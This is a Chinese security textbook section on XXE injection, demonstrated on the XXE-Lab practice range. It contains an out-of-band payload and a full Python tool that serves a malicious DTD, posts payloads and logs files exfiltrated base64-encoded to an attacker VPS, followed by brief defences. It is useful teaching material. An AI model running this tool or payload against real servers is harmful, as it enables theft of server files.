当允许引用外部实体时,会造成外部实体注入(XXE)漏洞。通过构造恶意 内容,就可能导致任意文件读取、系统命令执行、内网端口探测、攻击内网网站 等危害。本节介绍针对XXE漏洞的检测和防御方法。
5.2.1 简介
根据回显情况,XXE漏洞可分为如下两种:
·有回显的XXE。
· 无回显的XXE。
这里以XXE-Lab靶场作为目标进行漏洞演示,靶场如图5-1所示。
图5-1 XXE-Lab靶场
先进行有回显XXE的演示。我们先在靶场服务器的C盘下新建一个test.txt ,内 容为“hello hacker!!!ℽ , 然后通过BurpSite进行登录抓包,数据包内容如下所 示:
构造Payload对靶场服务器C盘下的test.txt文件进行读取,如下所示:
然后,进行无回显XXE的演示。在这之前,我们要关闭靶场的信息输出。打 开靶场目录下的php_xxe/doLogin.php文件,进行如下操作:
1)注释掉echo$result。
2)增加“error_reporting(0);”。
再次进行注入,服务不会返回任何信息,如下所示:
对于无回显的XXE ,我们需要构建一条带外数据(Out-of Band ,OOB)通道
来读取数据。思路如下:
1)攻击者先发送Payload1给Web服务器。
2)Payload1触发Web服务器,Web服务器向VPS获取恶意DTD ,并执行 Payload2。
3)Payload2使Web服务器把结果作为参数来访问VPS上的HTTP服务。
4)攻击者通过VPS的HTTP访问记录得到结果。
攻击过程如图5-2所示。
我们在VPS上创建名为evil.xml的恶意DTD文件,并将其放在apache 的网页目 录下,同时开启apache服务。
evil.xml内容如下:
< !ENTITY % payload "< !ENTITY % send content=%file; '>"> %payload; | SYSTEM 'http://192 .168 .61 .130/? |
图5-2 攻击过程
在VPS上开启对apache访问日志的监控,如下所示:
在登录的数据包中构造如下Payload 。其中,参数实体file 的内容为要读取文 件的内容经过Base64编码后的结果,参数实体dtd为VPS上evil.xml的URL地址:
<?xml version="1 .0"?>
< !DOCTYPE test[
< !ENTITY % file SYSTEM "php://filter/read=convert.base64-encode/resource=c: /test.txt">
< !ENTITY % dtd SYSTEM "http://192 .168 .61 .130/evil.xml">
%dtd;
%send;
]>
数据包中的内容如下所示:
我们点击发送这个数据包,就可以在VPS上看到HTTP访问记录,如下所示:
对content的内容进行Base64解码将得到文件内容,如图5-3所示。
图5-3 内容进行解码
5.2.2 检测方法
在目标服务器无回显的情况下,只能通过OOB信息传送来进行XXE攻击,但 实际的操作过程则比较烦琐,本节针对无回显的XXE ,通过Python脚本来实现流 程自动化。具体步骤如下:
1)写入脚本相关信息和模块:
#!/usr/bin/python3 # -*- coding: utf-8 -*-
from http .server import HTTPServer,SimpleHTTPRequestHandler import threading import requests import sys |
2)编写攻击Payload的生成函数,能够根据给定的IP地址和端口生成相应的 包含恶意DTD的XML文件: |
def ExportPayload(lip,lport) : file = open( 'evil.xml ', 'w ') file .write("< !ENTITY % payload \"< !ENTITY % send SYSTEM 'http://{0} : {1}/?content=%file; '>\"> %payload;" .format(lip, lport)) file .close() print("[*] Payload文件创建成功!") |
3)编写HTTP服务函数,通过http.server模块实现HTTP服务,用来监听目标 服务器返回的数据:
|
# 开启HTTP服务,接收数据 def StartHTTP(lip,lport) : # HTTP监听的IP地址和端口 serverAddr = (lip, lport) httpd = HTTPServer(serverAddr, MyHandler) print("[*] 正在开启HTTP服务器 :\n\n================\nIP地址 :{0}\n端口 : {1}\n================\n" .format(lip, lport)) httpd.serve_forever() |
4)编写POST发送函数,用来向目标服务器发送攻击数据: |
# 通过POST发送攻击数据
def SendData(lip, lport, url) :
# 需要读取的文件的路径(默认值)
filePath = "c:\\test.txt"
while True:
# 对用户输入的文件路径斜杠的替换
filePath = filePath.replace( '\\ ', "/")
data = "<?xml version=\"1 .0\"?>\n< !DOCTYPE test[\n< !ENTITY % file
SYSTEM \"php://filter/read=convert.base64-encode/resource={0}\">
\n< !ENTITY % dtd SYSTEM \"http://{1} :{2}/evil.xml\">\n%dtd;
\n%send;\n]>" .format(filePath, lip, lport)
requests .post(url, data=data)
# 继续接收用户的输入,读取指定文件
filePath = input("Input filePath :")
5)定义一个消息处理类,这个类继承自SimpleHTTPRequestHandler 。同时需 要对原生的日志消息函数进行重写,使其在输出访问信息的同时,把访问的信息 记录到文件中去(该函数位于BaseHTTPServer.py中): |
# 对原生的log_message函数进行重写,在输出结果的同时把结果保存到文件中 class MyHandler(SimpleHTTPRequestHandler) : def log_message(self, format, *args) : # 终端输出HTTP访问信息 sys .stderr .write("%s - - [%s] %s\n" % (self.client_address[0], self.log_date_time_string(), format%args)) # 保存信息到文件 text File = open("result.txt", "a") text File .write("%s - - [%s] %s\n" % (self.client_address[0], self.log_date_time_string(), format%args)) text File .close() |
6)编写主函数,在其中进行相关变量的定义以及函数的调用: |
if __name__ == '__main__ ' : # 本机IP lip = "192 .168 .61 .130" # 本机HTTP监听端口 lport = 3344 # 目标网站提交表单的URL url = "http://192 .168 .61 .134/xxe-lab/php_xxe/doLogin .php" # 创建Payload文件 ExportPayload(lip, lport) # HTTP服务线程 threadHTTP = threading .Thread(target=StartHTTP,args=(lip, lport)) threadHTTP .start() # 发送POST数据线程 threadPOST = threading .Thread(target=SendData,args=(lip, lport, url)) threadPOST .start() |
脚本运行过程如下所示:
脚本运行结果如图5-4所示。
图5-4 内容解码
HTTP访问记录会自动保存在result.txt文件中,如下所示:
5.2.3 防御策略
XXE的危害不仅在于攻击服务器,还能通过XXE进行内网的端口探测以及攻 击内网网站等。下面介绍几种关于XXE漏洞的防御方式。
· 默认禁止外部实体的解析。
·对用户提交的XML数据进行过滤,如关键词<!DOCTYPE和<!ENTITY或 者SYSTEM和PUBLIC等。